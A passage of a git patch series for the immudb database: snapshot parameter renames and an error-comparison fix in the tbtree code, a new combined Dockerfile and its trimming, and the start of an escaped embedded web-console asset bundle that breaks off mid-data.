(*Snapshot, error) { +// If ts is 0, any snapshot not older than renewalPeriod may be used. +// If renewalPeriod is 0, renewal period is not taken into consideration +func (t *TBtree) SnapshotMustIncludeTsWithRenewalPeriod(ts uint64, renewalPeriod time.Duration) (*Snapshot, error) { t.rwmutex.Lock() defer t.rwmutex.Unlock() @@ -1692,14 +1694,16 @@ func (t *TBtree) SnapshotMustIncludeTsWithRenewalPeriod(snapshotMustIncludeTs ui return nil, ErrAlreadyClosed } - if snapshotMustIncludeTs > t.root.ts() { - return nil, fmt.Errorf("%w: snapshotMustIncludeTs is greater than current ts", ErrIllegalArguments) + if ts > t.root.ts() { + return nil, fmt.Errorf("%w: ts is greater than current ts", ErrIllegalArguments) } if len(t.snapshots) == t.maxActiveSnapshots { return nil, ErrorToManyActiveSnapshots } + // the tbtree will be flushed if the current root is mutated, the data on disk is not synchronized, + // and no snapshot on disk can be re-used. if t.root.mutated() { // it means the current root is not stored on disk @@ -1708,8 +1712,8 @@ func (t *TBtree) SnapshotMustIncludeTsWithRenewalPeriod(snapshotMustIncludeTs ui if t.lastSnapRoot == nil { snapshotRenewalNeeded = true } else if t.lastSnapRoot.ts() < t.root.ts() { - snapshotRenewalNeeded = t.lastSnapRoot.ts() < snapshotMustIncludeTs || - (snapshotRenewalPeriod > 0 && time.Since(t.lastSnapRootAt) >= snapshotRenewalPeriod) + snapshotRenewalNeeded = t.lastSnapRoot.ts() < ts || + (renewalPeriod > 0 && time.Since(t.lastSnapRootAt) >= renewalPeriod) } if snapshotRenewalNeeded { From 5e89ed815c1e10c55c195d85cb9fdaf387a17c10 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 5 Jan 2023 12:43:05 -0300 Subject: [PATCH 0113/1062] fix(embedded/tbtree): fix error comparison Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/tbtree.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index fe7dc0d8f5..b16c1e7320 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -1811,7 +1811,7 @@ func (n *innerNode) updateOnInsertAt(kvs []*KV, ts uint64) (nodes []node, depth nodesMutex.Lock() defer nodesMutex.Unlock() - if err != nil { + if cerr != nil { // if any of its children fail to insert, insertion fails err = cerr return From 5cfaeee5094212ab6411c6478c5dded4eced65af Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Wed, 4 Jan 2023 10:27:19 +0100 Subject: [PATCH 0114/1062] Added Dockerfile.full This dockerfile includes both immuadmin and immuclient in a single container. --- build/Dockerfile.full | 90 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 90 insertions(+) create mode 100644 build/Dockerfile.full diff --git a/build/Dockerfile.full b/build/Dockerfile.full new file mode 100644 index 0000000000..4d3d9fd565 --- /dev/null +++ b/build/Dockerfile.full @@ -0,0 +1,90 @@ +FROM golang:1.18 as build +WORKDIR /src +COPY go.mod go.sum /src/ +RUN go mod download -x +COPY . . +RUN rm -rf /src/webconsole/dist +RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default make immuadmin-static immudb-static immuclient-static +RUN mkdir /empty + +FROM debian:bullseye-slim as bullseye-slim +LABEL org.opencontainers.image.authors="Codenotary Inc. " + +COPY --from=build /src/immudb /usr/sbin/immudb +COPY --from=build /src/immuadmin /src/immuclient /usr/local/bin/ +COPY --from=build "/etc/ssl/certs/ca-certificates.crt" "/etc/ssl/certs/ca-certificates.crt" + +ARG IMMU_UID="3322" +ARG IMMU_GID="3322" + +ENV IMMUDB_HOME="/usr/share/immudb" \ + IMMUDB_DIR="/var/lib/immudb" \ + IMMUDB_ADDRESS="0.0.0.0" \ + IMMUDB_PORT="3322" \ + IMMUDB_PIDFILE="" \ + IMMUDB_LOGFILE="" \ + IMMUDB_MTLS="false" \ + IMMUDB_AUTH="true" \ + IMMUDB_DETACHED="false" \ + IMMUDB_DEVMODE="true" \ + IMMUDB_MAINTENANCE="false" \ + IMMUDB_ADMIN_PASSWORD="immudb" \ + IMMUDB_PGSQL_SERVER="true" \ + IMMUADMIN_TOKENFILE="/var/lib/immudb/admin_token" + +RUN addgroup --system --gid $IMMU_GID immu && \ + adduser --system --uid $IMMU_UID --no-create-home --ingroup immu immu && \ + mkdir -p "$IMMUDB_HOME" && \ + mkdir -p "$IMMUDB_DIR" && \ + chown -R immu:immu "$IMMUDB_HOME" "$IMMUDB_DIR" && \ + chmod -R 777 "$IMMUDB_HOME" "$IMMUDB_DIR" && \ + chmod +x /usr/sbin/immudb /usr/local/bin/immuadmin /usr/local/bin/immuclient + +EXPOSE 3322 +EXPOSE 9497 +EXPOSE 8080 +EXPOSE 5432 + +HEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ "/usr/local/bin/immuadmin", "status" ] +USER immu +ENTRYPOINT ["/usr/sbin/immudb"] + + +FROM scratch as scratch +LABEL org.opencontainers.image.authors="Codenotary Inc. " + +ARG IMMU_UID="3322" +ARG IMMU_GID="3322" +ARG IMMUDB_HOME="/usr/share/immudb" + +ENV IMMUDB_HOME="${IMMUDB_HOME}" \ + IMMUDB_DIR="/var/lib/immudb" \ + IMMUDB_ADDRESS="0.0.0.0" \ + IMMUDB_PORT="3322" \ + IMMUDB_PIDFILE="" \ + IMMUDB_LOGFILE="" \ + IMMUDB_MTLS="false" \ + IMMUDB_AUTH="true" \ + IMMUDB_DETACHED="false" \ + IMMUDB_DEVMODE="true" \ + IMMUDB_MAINTENANCE="false" \ + IMMUDB_ADMIN_PASSWORD="immudb" \ + IMMUDB_PGSQL_SERVER="true" \ + IMMUADMIN_TOKENFILE="/var/lib/immudb/admin_token" \ + USER=immu \ + HOME="${IMMUDB_HOME}" + +COPY --from=build /src/immudb /usr/sbin/immudb +COPY --from=build /src/immuadmin /usr/local/bin/immuadmin +COPY --from=build --chown="$IMMU_UID:$IMMU_GID" /empty "$IMMUDB_HOME" +COPY --from=build --chown="$IMMU_UID:$IMMU_GID" /empty "$IMMUDB_DIR" +COPY --from=build "/etc/ssl/certs/ca-certificates.crt" "/etc/ssl/certs/ca-certificates.crt" + +EXPOSE 3322 +EXPOSE 9497 +EXPOSE 8080 +EXPOSE 5432 + +HEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ "/usr/local/bin/immuadmin", "status" ] +USER "${IMMU_UID}:${IMMU_GID}" +ENTRYPOINT ["/usr/sbin/immudb"] From 000feb495fe7798f3cca7f41a577e87641bce55b Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Wed, 4 Jan 2023 11:56:12 +0100 Subject: [PATCH 0115/1062] Removed unused target --- build/Dockerfile.full | 40 ---------------------------------------- webconsole/statik.go | 2 +- 2 files changed, 1 insertion(+), 41 deletions(-) diff --git a/build/Dockerfile.full b/build/Dockerfile.full index 4d3d9fd565..ee7ffbd13e 100644 --- a/build/Dockerfile.full +++ b/build/Dockerfile.full @@ -48,43 +48,3 @@ EXPOSE 5432 HEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ "/usr/local/bin/immuadmin", "status" ] USER immu ENTRYPOINT ["/usr/sbin/immudb"] - - -FROM scratch as scratch -LABEL org.opencontainers.image.authors="Codenotary Inc. " - -ARG IMMU_UID="3322" -ARG IMMU_GID="3322" -ARG IMMUDB_HOME="/usr/share/immudb" - -ENV IMMUDB_HOME="${IMMUDB_HOME}" \ - IMMUDB_DIR="/var/lib/immudb" \ - IMMUDB_ADDRESS="0.0.0.0" \ - IMMUDB_PORT="3322" \ - IMMUDB_PIDFILE="" \ - IMMUDB_LOGFILE="" \ - IMMUDB_MTLS="false" \ - IMMUDB_AUTH="true" \ - IMMUDB_DETACHED="false" \ - IMMUDB_DEVMODE="true" \ - IMMUDB_MAINTENANCE="false" \ - IMMUDB_ADMIN_PASSWORD="immudb" \ - IMMUDB_PGSQL_SERVER="true" \ - IMMUADMIN_TOKENFILE="/var/lib/immudb/admin_token" \ - USER=immu \ - HOME="${IMMUDB_HOME}" - -COPY --from=build /src/immudb /usr/sbin/immudb -COPY --from=build /src/immuadmin /usr/local/bin/immuadmin -COPY --from=build --chown="$IMMU_UID:$IMMU_GID" /empty "$IMMUDB_HOME" -COPY --from=build --chown="$IMMU_UID:$IMMU_GID" /empty "$IMMUDB_DIR" -COPY --from=build "/etc/ssl/certs/ca-certificates.crt" "/etc/ssl/certs/ca-certificates.crt" - -EXPOSE 3322 -EXPOSE 9497 -EXPOSE 8080 -EXPOSE 5432 - -HEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ "/usr/local/bin/immuadmin", "status" ] -USER "${IMMU_UID}:${IMMU_GID}" -ENTRYPOINT ["/usr/sbin/immudb"] diff --git a/webconsole/statik.go b/webconsole/statik.go index c831630d16..b2d3ec3d48 100644 --- a/webconsole/statik.go +++ b/webconsole/statik.go @@ -10,7 +10,7 @@ import ( func init() { - data := "PK\x03\x04\x14\x00\x08\x00\x08\x00\xe4HES\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00 \x00missing/index.htmlUT\x05\x00\x01\xbd\x15\\a\x94T_k\xdb>\x14}\xef\xa7\xb8?\xfd(\xb4\x10GI PR\xdb\x0fk\xfbP\x18[\xd9\x1fX\x1f\xaf\xe5k[L\xd6\xf5\xa4\xebfa\xec\xbb\x0f\xd7N\x93\xb0n\xb0\x97H9\xba\xe7\\\x1d\xdd\x83\xd3\xffn\xdf\xdf|z|\xb8\x83FZ\x97\x9f\xa5\xc3\x02\x0e}\x9d)\xf2*?\x03H\x1b\xc2r\xd8\x00\xa4b\xc5Q\xfe\x8eaK\x85a\x1f\xd9Q\xaaGp,hI\x10\x1a\x91.\xa1o\xbd}\xca\xd4\x0d\x9a\x86\x92\x1b\xf6\x12\xd8)0\xec\x85\xbcd\xcasb\x86\xa3\x19xN\xa2p\xa0\x19\xb4}\x94$\xd0\x13:[\xa2\x90\x02\xfd'\xd5\x87\x80u\x8b\xaf\xc8\xfd\x85s\xf7\xbd\xb3\x81\xe2\x11iq\xa8\x8e\xb2\xdb{\x00(\xb8\xdc\xc1\x8f\xe9\x0f@\x81\xe6k\x1d\xb8\xf7eb\xd8q\xd8\xc0\xff\xab\xe5j\xb52\xd7/%\x15{I*l\xad\xdbm\xe0\x03\x17,<\x83\x88>&\x91\x82\xad\x0e\x85\x93@\xa8\x8b\x8b\xe5\xd5z\x06\xfb\x9f\xcb}\xc9\xcfi\xc5\x19\xe0\xe6\xc9F+T\x1e\xdd\xe5Da5p\x97W3X-\x17\xbf \xcc\x07\x9bh=\x85\x13:@\xc7\xd1\x8ae\xbf\x01,\"\xbb^\xe8\xfa\xe4\\\xb8\xdb\xc0zq~\x8a:\xaa\xe4\x15X\x02\xfaXqh7\xe3\xd6\xa1\xd0\x97\x8bd\xbd8\xbf<\x00\x8f#p`\x8ewL\xf5\xd1\xabO\xd1\xb2m\xdb\x97\xc5Q\xa6R\xbd\x8f_\xfa<\x16\xe30\xc6L\xbd\x98S\x13\xdd\xb65lm)M\xa6\x96\xeb\x85\x82\x18L\xa6Z\x8c\x86e\xde\xf9Z\x01:\xc9\xd4\xfd\xb3<\x8c\xb8\xda\x0f\xbf\x9b\xda\xc2\x16#\x14\xbdu\x02[+\x0d\xf72\xe4\x1c\xa6\xa0C\xec\xbb\x8e\x83\xccS\xdd\xbd\x10?\x12A\x8a\xd0\x04\xaa25\xa4-n\xb4\xae\xad4}17\xdcj\xc3%y\x16\x0c;=\xf6\xd0\x85\xe3B\xb7\x18\x85\x82~\xf3\xf9\xfe\xed\xed\xbc-U\xdeP\xa0Tc\x0e\x15\x07\xb0>J\xe8\xcd0\xa48\x03\x0eP\xf2\xd6;\xc6\x12\xd0\xffc\xb7@\x8e0RT9W\x955\x16\xdd\xb3\xc1r\xe8\xb57\x92\xea\xe1e\xf3\xb3T\x8f\xdf\x80_\x01\x00\x00\xff\xffPK\x07\x08\xaf\x13j\x89\x12\x02\x00\x00\x14\x04\x00\x00PK\x03\x04\x14\x00\x08\x00\x08\x00\xabe\xdeR\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00 \x00missing/mascot.pngUT\x05\x00\x01bg\xdc`\x9c\xda\xf5?\x1c\x0e\xc0\xc0\xf1\xd3\xc7\xd4\x9dn\xee\xf4Ww\x8d\xc3\xe9\xce\xe9\xe9\x98\xee\x18S\x87\xd3}b\x86i\xa6\xbb\xa6\xa7'\x86\xe9\xce\xa9i\xb6\x89\xe7\xf5\xfc\xf0\xfc\x03\xcf\xe7/\xf8\xfc\x01\xefXmM%\x02=\xaf\x1a\x90R\x90\xcb\xb4\x92\xfdM)\xa5\xf2G\x16\xcdlv\xedO\x8c\x9a\x05P\xe4\xda\xfe\xce\xda\xfa\xda\x8a\xff\xf0\x0b{\xfemb\xc3\xd4\xc1\xaf\xd3\xb9\xf9\x05\x1ey\xa7\xfb\x87?\xb4\xc1\x83\xd0\xb4_\xcd]\xa3\xbe\xd9},\x1e\xfd\x8an\xe5~\xc8\"\x9e\xc0\xa9\xfe\x89\x95\x8f\x85_R\x8a\x06\xf4-\xd2}B`\xe4\x8fg\xc2\x87z!\xb4\x91\x9a\x0fI8:\xa6\xcf$\x84\x8e\xccHd(\xdbwF2\xdae\x02z&\xd4\xcd\xb9\x9c\x99%\xfd@j\xee\xcet(c5iU\xa6\xbf-7\xbd\xfe F/~L\x02\x8d.\xea\x05@\xf4\xae\xc0\xfb\x07\xa5TcH\x1f\x07\xce\x15@\x168D\x9dV4\xbdI\xa7T\xb1E\x911-\xbe@\xc9\xd9,]\x14sA\xec\xc3\x92\x83\xdc\x0c\xcem\xd6\x1b\xcbk\x90\xdeG\xd4 u\xeb\x08\x11\x17\xb2\xc5\\\xa4\x18l8\xa4\xc4=\x9cy\xb2 2E\x0e\xf2\x82+\x88 \xe0\x95\xc7LRaHm\xe6\xffB\xdb\xc2\x1dO#_#@\x15\x18F@\xfe\xe6h\"[\xf9\xb0zR\x87G7F\xdbQ\xc1%M#\x8e\x16[z\xa0\x07%\x19\x03\x10^ D\xbe\xadeW[X\xc0\xa5\x94\xb2\xae\xa3\x9ds\xc9\x1e\x04\x92C\x14\xa9\xcex\xa8\x83\xe6{\xc7l\x1cg\xaf_\xb1C\xb3u7`\xf8;h\xf0\xd2\x1f\xc4m;\x14\x06\xe3\x87\x9d[13Q\xb82P\x9e\x83:\x8e\xcb\x05\xbae\xb4:\xcc\xee\x08JG\xc6\x99\xf6\x0cKs\xb9\x97\x04\xe7NG\xdb\xa3/V\xd9\xb8\x99\xb6\xdc\xf6\xbcL\xaa\x81\xb68\xed\x1cZ\xa1[\x0e\x8cy\xaf\x08\x84\x0c\xae\xdf:\x16\xf1\xb7\x0c\x1ep\xd2Ix\x8f\x19N\xde>\xf4\x18\xa7d(\xf9\xf5)Q\x97K{\xa0\x91,x\xce\xc1\x8fj\x1b\xcb\xc8u\xdfs\xd6s$\xd3\xbf\x98 \xef\xe3\x8e\x84u\xea\x9e|N\xbb:\x9c\xf4\xc3\xd2\x17\xab\x0c\xa1a\x85\xc9\xd6Y\xba\xc1\xea\xdd\xc3\x00$:r\x17:vs\x0c\x85\x10AM\xe1\xe8\x88\xd3\xa1\xc7\xb0\x19__\x13:\xd6\xc0\x04\xb5\xa7\xb8\x1a,\xfe\xcb\xf80\x18\xc9\xf6\xc3B\x18\xd0dPH][\xef\xbb;` \xe3\xd6 \x1cx\x8e\x91}aN\xc9\xccf\xef9\x85f\xb5_;^\x1b*VG& kNz\x8d+y2\xc7\xbb\x91\xdd\x8b\x86p\xa8\xe3'\xd9\x13w\xcb\xcf\x96\xc0\x81\xdb\x07\xdee\x11f\xe3\x969\xd1{\xb0\xe6\xa8\x9eU\x9d\xde\x95\x0b\x88=*\xac\x1b\x8a\x1af\n\xec15\x8a\xe7\x0d{\x13\x83\xdb\x08\x05\x9b\xb7\xae\x19!\xbbT\x10Y\xd9\xa3\x9a\xf0\x14?V\xd8\x90\xc4\x7f*\xb1\x1f\x87?\x99\xe4,\x03\xc2M\x06\x16\xc5\x8f\x16\xd6\xf8&g\xca\xc6\xed}\xaa:\x99\xa1\x9e\xa6\x06\xc6\xd3x\xc8-\xd1\n\xa9\x0f\x92 \x1d\xbc\xfc\xef'\x0f\x81\x0c^4\xa2$ A\xddL!f \x1cP\xff\xe4Z\x18#\xc4-\xf7K\xdeGd!\x87\x0e\x184\xb2\x0e\x16&\xf0Y\xdb{x\x17\x9d\xfb\x11\xb9\x95\xe9\xab\x7f\xd6i\xb5%\xfeE\x1d\xf3n\xc7z\x91\xc5Wem\xcaa\xb2\xb4'\xea\x1f\xf0Q@\xbf_\xceA\x04\xcd\x93Hzp\xd8\xa0\xfdk\x7f\xa2\xd8\x0f\x12\x87\xa0\n\x87\x03?\xcf\xe1\xcd[\xaa\x9fb\xbd\x90e\x11\xf6\xad:L\xd2\x81\xa5\x82\xa4Wu\xeco\x03\x8b\xd7\xe6\xdf&\x0b\xb6c\xd5\x15\xb6\xbcs\xb3\xe9\xef\xa2\xf0y\x85E\xce\x1a\xc8>\xden\xeev\xfc{\x84jM\xcb\xb3\xc1cZ.\x063O\xd0\xfe\xb4\"\x0f\xe4\xe6\"\xebwTj\xfe\xd6p\x83U\x14kc \xec\x1fq\xbf\xf4P\xf1\xac\xc4\x91\xc5\x17|\xe7Z\x0fY?\xc7\xce\xc3\xbf\x8dW~\x1d\x95\xac\xf5\x00\x02\x9d\x18,t\xc9\x14\x8aa\xfbZ=,\"\xd36_\\\xbe\xbei\xd5qm3I\xb2\xcf\xeef\xd3\x8e; O\x84h\x84\xbd?\xe4 \xa7\xca\\\x99\x15\x9e\xcb0{\xda\x9a\xc6\xce\xd6j\x9f&\xb5\xb7mAv\x11!\x8e\xdc\x13\xbb\x065\x95\xf3\x9e\x06$\xfc\x83i\x0ep9\xfe\xde\x7f\xcam\xa8}4\xf2\xcc\x19[\xe6\xdaw\x90*\x97\xa4\x18(\xf8\xbb}\xfa\xa0\xa6\x94\x9b\x7f\x99@.z\xd2\xec\xf0\x96-\xc1\xecf\x12_\x17\xde\x9b\x11\xd5\x1brc\x8f\xa6\xef\xfek\x11g\x85\xfe\x12\x11\xd8 \xbb\x83\xbab\xcb\x89W\xdf\xd4\xbb +\xdfA \x0b8\x18\xfd\xfe\x1d\xa3m\xc6\xacB\xbe+\xa5\xbb3_\xe3\x0dZu\xa5\x1c!\xf6K*\x8b^\xb4ap\xe7\"\xa4\x03\x001\xea=!\xab<\xf3Ec\x7f\xfb\xe1\xdd\xc6\xd3U]\xceG`\xe8\xb5\\ \xa5\xfc\xbe\xdf+\x98\xcb\xf5Z\xd8%\xa3S\x0e\xea\xb3\xdbz|\xbf\xdcv\xa1\x81,\x1e+\xe4c\xd0\xd8R\x86|D\x8fdo\x0e\xd3%\xacB\x8a\x0d\xa2h_\xc1\xbf\xc0\x96wY\xee\xb7\xa3mg\xff\xce\x9ad\xfb\x9ex\xe7\xf2=\x1e\xdb\xc7\xe3\x1f\x9fu\x93a{\\1/\xfb\x92\x10k|\xe2R\x9f2\x15\xac\x9d\xb6\xba\xdfp\xdc\x138\xdb\xd9\xc8\xbd)\xc7\xa7\x94gz\xdep\x7f\xcf\x8b\xd8\x94\x19\x0d;?\x1cX\xe14#\xe4GH\xf4\xf1\x81_\xee\x81\x82[\xee\x97\xdc\xdeu\x9e\x8c\xab\x1d\x17\xee\x0c\xb7\xaa\xe5\xad\xfcf/{jV\xbe-\x80\x1a\xb6\x8e\"\x8fq> \x08:\xa7u<\x14\x82\xd3\x0e\xd5\x8e\xd6.\xd0\xf8\xc1>\xf8\xa5\x1d\xd9\xe8;n\x95%\xfc\xe9\xcfq\xbb`_n\xf0+\xb4\xe1V\xa6\x08\xebD\xfdr\x9d\xce\xaa\xc5\xaf\xad\xbf\xbd\xee\xcck\x82\xe2\\K\xd7$\x0c\x05\xfc\xdaW5\x94XN\xca.T\xb2\x93\xd1\xc9[;\x0cW\x87\x15\xb5or\xcc\x9af\xa2?\xd2\xbd\x1b\x7f6\xc8\xeb\xb9^\xefmi8\x01\xeeZwx(4{<\x8c\x9c\xc1\x06vTw\x9d~\xeeZ\x9f\xeb\xc6\x9b\xfd\x92\x02\xa7\xaa\xe4bi\xb0\x16\xa1\xbf\xbc\xd2\xe9\x96\xf2;\x91\xe2\n\xa2\xeehl^&\x98\xefXM\x14}_\x8b\x96\xaa\x82P\xc5\nE\xac\xfc\xc3g\x1c\xf8\xa1\xaf\xc5 *$\xc1\x97\x92\xc3\xdfK^\x970\xfa'pct\x05\xfa\x0c\xb3a\x8c@\xec\x7f\xb2\xa0\xbca\xd5C\xb4m\x89j\x97\xc0IRi\xaa|\x12Y\xd0\xb3\x97\xe4f\x96{\xedk\x8cA\x15\n^\xa88\x1ar\xccR\xe9@\xbb7vpq\x85\xac6\xde\xc8s\x0d\xb8\xdbqZ\xab^\xe9{\x82U\xa9a\xd7\xda\xbfo\xdc\xbe\x91\x85\xdbq\x82AHw\xf7\xbd\xcb\xaf\xda$\xcdo\xb7j\xe8q \\X\x05\xbf\x1a\x14\xbf7=0\xf6\xab\x1e\xfd\xb8\xdd\x08\xd9\xb7\x83\x15en\xe5\xe0\xc3\x82\x19\x86\xbcR\xa2~\x99\xe7\xb1+w\xff\x87\xa7\x86\xb1\xd3;\xa4[\x91\x9a\x97\xdcw4G\x8b\x14\xf3\xdc49rT\x9f\x03K\xe9\x7f\xb9]\xae\xc6v{S\x07\x0e\xac/\x1bVa\x00f\xf0i\xb1\xec\xca\x0c\xf1\xbdKV\x96\xa8\x80ni0 g\xf0\xa4Ff\xcd]\x96Z\xb3\xe7\x9d\xa9D\xc6\x9e\x00\x88^l\xb1_\x84ln\x08-w\x00\x1ecX\xf5\nM,\x1d\xee\x04\xc8\xd8\xc5)$\x8a\x1d\xdc\xf0\x9d%\x80\xf0=\x02\xa1\xf9\xab&\x9eu\x87\xed\xd7\xe8I.\x9bB\x8b\x9d\xe0\n\x86\xb6\x98\xba\xaa\x90\xe2\x80\x18\x18U\xac\xabo\x04ZZ\x05\"\xe5\x9f\xd6\x7f\x8f\xa0\xf3\xf7\xb7\xbe'\xf3DS]cVh1\xf9\xf3\x05\xf6\xb4on\xf2\xf0\xaf\xf4\xf5Z\xb4\xed\x90\x98\x13\xd5\xfa\xb0\x88C\x15(\xfb\x94\x14,_.\xd2n\x97\xa5\xf9r\xb1M\x8e>@a3X\xdf\xae\xd5\x9eE\x98\x80`\x8b\xb0\x1dbg\n\x7f\xed\xc4\xff\xe8\xec\\V7}-\x0f\x93D\xf7\xd4E\xf2Y\xa8\xf1\x94\xb3U\x9f\xda\xe7U\xc1\xe6n\xb7\xea\xd5\xd1;\x95*#\xad;\xe5\x1b7\xa7\x1b\xb2\xe1\xcf\xbc\x0f&\x14\xbc\x17\xe9\xdc\xef\x1d\x99\xbb\xe7\x18\xa9RiC\xff\xfe\x18fb\x01}L\x991\xa3\x85n\x8f\x1b\xb7\x1d\xbf\x9ff\x9du\xd2>\x15\x17q\xcdY\xce_\x15\x8b\xc5l\x1d\x98\xf6\xdd\xa9\x13\xbf\xc8b-\xe7\xb70\xadjm\xd5\xffso\x88\xfe\xbb{\xd6~X\x11\xbd&\x1bZ\xce\x1f\xdeZ\xfd\xd0\xaf\xbc\xb7*\xa8\x0c\xbb`l\xa4J\x0e\xa0z\xa0Q\xeb,wra5}\x15\x80\xc2\x816\xd4q\xc8\xf3\xad(\x15 \x04\xe1\xf5n\xdf\x0f/\xc5\xc6\x04Z\xeb\xe4\xe5\x0d\x0b\xa1\x1d5\xa4]\xc85\xbd\xc5Q\x12\x97\xd15\xbb\xe2|\xe5M\xe35P\x99hX.\x0d-\xe7\xafL]\x8a\xfb\x9av\xa12i\xf1\x91\xe5\xfe\xcd\xb7\xe4x\x1agcR\x93\x9e\xaf_\x1b\x8a\x8c\x80\x82\xa5\x14\x03\xf3\x9c\xae\xb4\xb9\x86*\x00,\x1ch\xc3\xad\xf2^\xf7a\x95\x12R\x0d\xe8c\xc0\xf4vs\xf1\xe4\xd6\xeb\xf6\xf1\xea\xaf!)\x89\x86+m\x9c\xf3\x9e\xd00\x84i\x90k\xf3\xf3\xc6\xc2\x15MG\xc1\xc9\xce:|\x01\x99_>Iv\xe5tM9e\xff\xf5\xf1\xfa\xca\x80V\xf8W\x82\xaa{r\xad\x13\xbb\xef\xbdAjY\xe6\xf1\x0c\xeb\xe7\xab\xc8Lb%\x02\xc2-Q\xddD\xcc\xb6\xa2\x80D)!\xf5ji\xdb\xfe\xe3\xcaI\xcc\xba\x11?\xa3\x1d]2\xa61w\xf6\xb9\xf3\xd2c\xa6\xd9\x9a\xb7^\x1f;7\xd2L\x8d\xa5^\xfbM\xdbw\x04?c\n\xf2\xeb\xf0\x90\xe6\xadT,\x91P0\x91\x7f[\x1f\xa9S\xfd\xd3\xc8\xba\xe9\x00\xf1\xf0\xd6b\xd3[P\xb1\x88\xdc\xe4\x8b\x0di\xdf\xff\xb7;k\\\x87b\x88\xf7a\xfe+\x18\xe75yJ\xf8\xc1\x9b\xb4\xae\xe0\xdb\xfa\x17\xbd\x1b\x9a.T\xfb\xe4\xd3y>9x}\xd8\xb46\xcd\x0blF\xca\x16\x06\x10l0\xe9\xa9\x87\xfc\xaa\xb5J\xb0\xf5/\xa3\x1b\xbc\xe2\xa7\xa9\x00`\x12\x18\xba\\\xb7\xb6\xfb\x07\xc6i\xa1{/\x97E\xf5\xa3\xe1\xaa\xab\xf9\xc8M5\x1b.WI{Q\xb92\x8fo+{tG\x95\xb3\x8f+x:b`:q(JEc=\xd3\x89\xd6\xc5w\xf5\x1a\x90\xd3:,\xd7\xc6\x1d\x06\xfe\xb7\x06\xe4w\xec\x9aH\x8b\xdf\x0e\xe1[#\xadKN\xd6\x83\xe8P\xe9\x1c\xd5%gee%\xb7A\xec5\xdaU\xdc\xb2ba\xd5\x05\xf4=\xe4\xfe\xbfEK\x8eYYV\xa4,a+\xeb\x89\xdf\xbf{\xb8\x8ee\xaeI\xe5\xcb\xa27\x0f1N\x0c\xd6\xfcws\xf2\xcf\xab\xc3\xac\x06\xf5eq\xe02\xf5\x078\xdc(\xcc\xd4T\xa6/\xd5\xff\xb7\xe8\xa3\x1fh\xee\x8e\xc6U~\x1b#\xa9\xb5s\xcf\xad\"\x16\xa7\xe0\xf2\xf9\xe1i\xf9\xd1\xf8\x03\xe9~\xd8y\xfc\xf8\xe8\xceIH\xc7\x86\x8bH\xf2\x89\xcc\xc3r\xad\xb1\x16\x8a\x9d\xdb\x80\x06Y\xfeF5\xba8#\xa5\xa61`&K\x95#\x0f\xa9-\xe7\xd7u\xda\xb1Lp6\xf1\xbc\xe1\x00g\xe6\x03\xeegq\";g\x18\xfa\xe4\x85\xf8\x1f\x96\xd1t\xf3\xfd\xf8\x89\x00:\xf5@L\xda+\x1a$\xa6\"\xa9\xdf*\x91\x98\x07\x04\xa2\xee\xdez\x1aA'f\xa5\xd3\xe1\x15\x82\x02>(\xbe\xfdJFAn(\xee\x1f\x15lL\xdf=s\x10x;\x89\xae\xb9V\x8aI\xb3\xf5\x0eo?<\x80\x00.\x95\xba\xd9\xf7\x1b\\\xfd\x8e\xae\x04\x9e\x9e\xb1\xe4\xe6\x1d\xfaV\xb6\x9c\xec\xe3\xee\xa7w$\xb9@\xb1\x89\x05IS3}\xc1m\xe2\x91\x9e\xafu\xab\x8d\xb6O\xf8\x1f\x06C\xddt\xeb\xc3a\xca\xb0\xbb\xd7\xe8\xb2\x1f\xa0\xd8\xb4\xbe\x0b\xe9`~\xbb\xfd7~\xccY\xed\x01O\xe9\xb1\x8e%C\n\x82L\xc0\xa1\xeb\xce\xfb\xb1/\xf7)\xaa\x1ac6\xff\x01v\x08\xc2\x91R\x8c\xe0\x82W\x9d\xaa\xa4\xce\x16]\xe9\xca\x8c$\xc5n\x16\xc6\xc1\xd2\xcf\x01[\xff\x1e\xbf\xb43\xca\x13\xf2\x14\x13!^\xf6\n\x99\x19\x1fi\xa9]\xf2\xd0\x07hp9\xab\x05?\xb7Tv\x1e_m\xc1\x7f,~\xf2\xf2\x16\x99A:\xb4\x04\x19\xc6{\xbdy\x02\"\x82e\x1a\xc5h|h|\xc1 \xe2@\x8a\xb7\x1f\xe9\x89\x89\x88,\xa1\x94g\xa2z\x0e)}\xdb\xbd\xf0\xb6\xfeo9f\xf0\xdf5\xcf{\xa2U\x9df\xcd\n\xfb\xd2\xc5\xb3\xed\x04n\xd8\x7fC1w\xae)\x91\xe5\xb0\xa1u\xff\xcd\xfa&e\xe6N\x82\x99L\xa2\xe4\xac\xbc\xdb\xebcWO\xe9\x0d\x00\x89v0\x97\xd6E\x0b\xc2\xc8\x0e\x8d\xcfS\xb2\xbaWV\x08&\xe5\x1b\x1e\x10\xf0W\x0e2\xea\x1e\xc0\xad\x13\x1a\x83\xa9\xf6_\xe4\xf5_H\xf9\xf6\xb7\xfd\x89\x9dj\x96\x81\x88\xbf\x8b\xef\xbcM\xa2\x02\x98\xf8/\x9e\xe90\xd1\x07\n5\x18\x901\xe5\xa2Z\x98\xbe\xb6\x7f\xfae\xee?\xa1\x94I\xc0\x14\x12\x89\x0f&\xd3\xb1j\xa7\xa9AoCO\xbc\xb4\x95\xf1UM\xac\x97\xfe\xc8\xbc?\xdc\xc8k\x9dB\\zj\x17\xf2ny1\xbf\xed\xc3\x18&\xa5eK\xc28\x17\xdf|\x19\xfc\xda\xf5\xdf&\xaf%hV\xe6\xdd|Y\xbaO\xf4\xcd\xc0t\xd7\xb4\xb4IM=\x8f\x1b\xda\xe5U\x1a\xe8R\xca~j_{\xee\xacS\xc